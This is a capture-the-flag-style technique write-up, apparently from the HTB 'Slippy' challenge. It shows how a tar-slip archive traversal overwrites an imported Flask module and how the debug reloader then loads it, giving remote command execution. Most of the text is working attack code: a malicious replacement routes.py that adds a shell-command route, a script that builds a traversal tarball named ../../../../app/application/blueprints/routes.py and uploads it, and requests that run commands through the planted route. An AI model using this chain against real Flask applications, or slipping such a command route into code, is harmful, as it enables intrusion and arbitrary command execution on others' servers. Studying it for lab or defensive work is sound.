Arbitrary file write to hot-reload RCE
Arbitrary file write to hot-reload RCE
An arbitrary-file-write primitive permits control over the bytes written to a filesystem path. It becomes code execution only when another component later treats those bytes as executable source. A development reloader can provide that second component: it watches selected files, detects a change, rebuilds or restarts the application, then loads the replacement source.
The replacement must remain valid for the surrounding application. Required package names, imports, functions, routes, and other referenced objects must still exist after the reload.
arbitrary file write
-> replace executable or imported source
-> change a file watched by the development reloader
-> rebuild or restart
-> load the replacement sourceThe source file and reload-trigger file may be the same file. When the reloader does not watch the overwritten source extension, a second write to a watched file triggers the rebuild.
Flask debug reloader
An archive traversal overwrites an imported Python module. The Flask debug reloader watches the modified Python source, restarts the application, and imports the replacement module containing a command-execution route.
Unsafe archive extraction
extractall() processes the member names stored in the TAR archive:
if tarfile.is_tarfile(path):
tar = tarfile.open(path, "r:gz")
tar.extractall(tmp)A traversal member such as ../../../../../../../app/application/blueprints/routes.py escapes tmp and overwrites application source.
Application source is writable
The Flask process runs as root under Supervisor:
[supervisord]
user=root
[program:flask]
command=python /app/run.pyThe process identity and target file permissions must allow the extracted member to replace the source file.
Overwritten module is imported
The application imports web and api from the target module and registers both Blueprints:
from application.blueprints.routes import web, api
app.register_blueprint(web, url_prefix="/")
app.register_blueprint(api, url_prefix="/api")The replacement module must still define both objects or the application restart fails during import.
Flask debug reloader is enabled
app.run(host="0.0.0.0", port=1337, debug=True, use_evalex=False)debug=True enables the development reloader unless use_reloader=False is set. use_evalex=False disables debugger evaluation but does not disable source reloading.
Replacement module
from flask import Blueprint, request
import subprocess
web = Blueprint("web", __name__)
api = Blueprint("api", __name__)
@api.route("/command", methods=["POST"])
def command():
command_to_run = request.json["cmd"]
result = subprocess.run(command_to_run, shell=True, capture_output=True, text=True)
response = {
"stdout": result.stdout,
"stderr": result.stderr,
"returncode": result.returncode
}
response_details = response, 200
return response_detailsArchive delivery
import tarfile
file_to_archive = "routes.py"
name_inside_archive = "../../../../../../../app/application/blueprints/routes.py"
with tarfile.open("payload.tar.gz", "w:gz") as tar:
tar.add(file_to_archive, arcname=name_inside_archive)
with open("payload.tar.gz", "rb") as f:
files = {
"file": ("payload.tar.gz", f, "application/gzip")
}
r = s.post(url=UPLOAD_URL, files=files, verify=False, timeout=10, proxies=PROXIES)After the reload, /api/command reaches the replacement route and returns command output:
json = {
"cmd": command
}
r = s.post(url=f"{URL}/api/command", json=json, verify=False, timeout=10, proxies=PROXIES)
json_response = r.json()
print(json_response["stdout"])
print(json_response["stderr"])Find by: tar slip, archive traversal, arbitrary file write, source overwrite, hot reload, development reloader, debug mode, rebuild, restart, Flask debug, imported module, Blueprint, command execution, RCE, chain · Source: HTB/Slippy